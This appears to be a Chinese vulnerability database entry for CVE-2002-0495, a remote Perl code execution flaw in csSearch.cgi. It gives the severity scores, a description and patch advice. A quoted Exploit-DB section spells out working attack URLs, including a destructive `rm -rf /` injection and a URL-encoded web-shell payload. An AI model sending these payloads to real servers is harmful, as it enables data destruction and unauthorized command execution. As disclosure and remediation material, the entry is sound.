CVE-2002-0495
CVSS10.0
发布时间 :2002-08-12 00:00:00
修订时间 :2008-09-05 16:28:10
NMCOE    

[原文]csSearch.cgi in csSearch 2.3 and earlier allows remote attackers to execute arbitrary Perl code via the savesetup command and the setup parameter, which overwrites the setup.cgi configuration file that is loaded by csSearch.cgi.


[CNNVD]CSSearch远程命令执行漏洞(CNNVD-200208-114)

        
        csSearch是一款由perl实现的WEB站点搜索脚本,可以运行在Unix和Linux操作系统下,也可运行在Microsoft Windows操作系统平台下。
        csSearch由于在对提交给csSearch.cgi脚本的参数没有充分过滤输入,可导致攻击者以httpd权限执行任意命令。
        csSearch把配置数据作为perl代码存在"setup.cgi"文件上,由于访问验证错误,任意用户可以把配置数据提交给csSearch.cgi的变量中并写入到"setup.cgi",因此导致perl代码以httpd进程的权限执行。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0495
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0495
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200208-114
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/4368
(VENDOR_ADVISORY)  BID  4368
http://www.iss.net/security_center/static/8636.php
(VENDOR_ADVISORY)  XF  cssearch-url-execute-commands(8636)
http://www.securityfocus.com/archive/1/264169
(VENDOR_ADVISORY)  BUGTRAQ  20020325 CGIscript.net - csSearch.cgi - Remote Code Execution (up to 17,000 sites vulnerable)
http://www.cgiscript.net/cgi-script/csNews/csNews.cgi?database=cgi.db&command=viewone&id=7
(UNKNOWN)  MISC  http://www.cgiscript.net/cgi-script/csNews/csNews.cgi?database=cgi.db&command=viewone&id=7

- 漏洞信息

CSSearch远程命令执行漏洞
危急 未知
2002-08-12 00:00:00 2005-05-02 00:00:00
远程  
        
        csSearch是一款由perl实现的WEB站点搜索脚本,可以运行在Unix和Linux操作系统下,也可运行在Microsoft Windows操作系统平台下。
        csSearch由于在对提交给csSearch.cgi脚本的参数没有充分过滤输入,可导致攻击者以httpd权限执行任意命令。
        csSearch把配置数据作为perl代码存在"setup.cgi"文件上,由于访问验证错误,任意用户可以把配置数据提交给csSearch.cgi的变量中并写入到"setup.cgi",因此导致perl代码以httpd进程的权限执行。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 修改代码,严格过滤用户输入数据。
        厂商补丁:
        CGISCRIPT.NET
        -------------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        CGISCRIPT.NET csSearch 2.3:
        CGISCRIPT.NET Upgrade csSearch 2.5
        
        http://www.cgiscript.net/download/download.htm

- 漏洞信息 (21354)

CSSearch 2.3 Remote Command Execution Vulnerability (EDBID:21354)
cgi remote
2002-03-26 Verified
0 Steve Gustin
N/A [点击下载]
source: http://www.securityfocus.com/bid/4368/info

csSearch is a website search script, written in Perl. It will run on most Unix and Linux variants, as well as Microsoft operating systems.

csSearch is prone to an issue which may enable an attacker to execute Perl code with the privileges of the webserver process.

For exploitation to be successful, the attacker must pass properly URL encoded Perl code in CGI parameters via a web request. For example:

http://host/cgi-bin/csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE 

Configuration data is saved with the following URL.
Note that any perl code would need to be URL encoded.

csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE

For example, the classic "rm -rf /" example would be
as follows:

csSearch.cgi?command=savesetup&setup=`rm%20-rf%20/`

Here's something a little more interesting, less than
300 bytes of code that turns csSearch into a remote
web shell of sorts.

*ShowSearchForm = *Login = sub {
print "<form method=post action=csSearch.cgi>Enter
Command (eg: ls -l)<br>";
print "<input type=text name=cmd size=99> ";
print "<input type=submit value=Execute><hr><xmp>";
$in{'cmd'} && print `$in{'cmd'} 2>&1`;
exit;
};

URL Encoded as:

csSearch.cgi?command=savesetup&setup=*ShowSearchForm%3D*Login%3Dsub{print"<form+method%3Dpost+action%3DcsSearch.cgi>Enter+Comm
and+(example:+ls+-l)<br><input+type%3Dtext+name%3Dcmd+size%3D99>+<input+type%3Dsubmit+value%3DExecute><hr><xmp>";$in{'cmd'}%26
%26print`$in{'cmd'}+2>%261`;exit;}; 		

- 漏洞信息

761
csSearch csSearch.cgi setup Parameter Arbitrary Command Execution
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2002-03-25 Unknow
2002-03-25 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站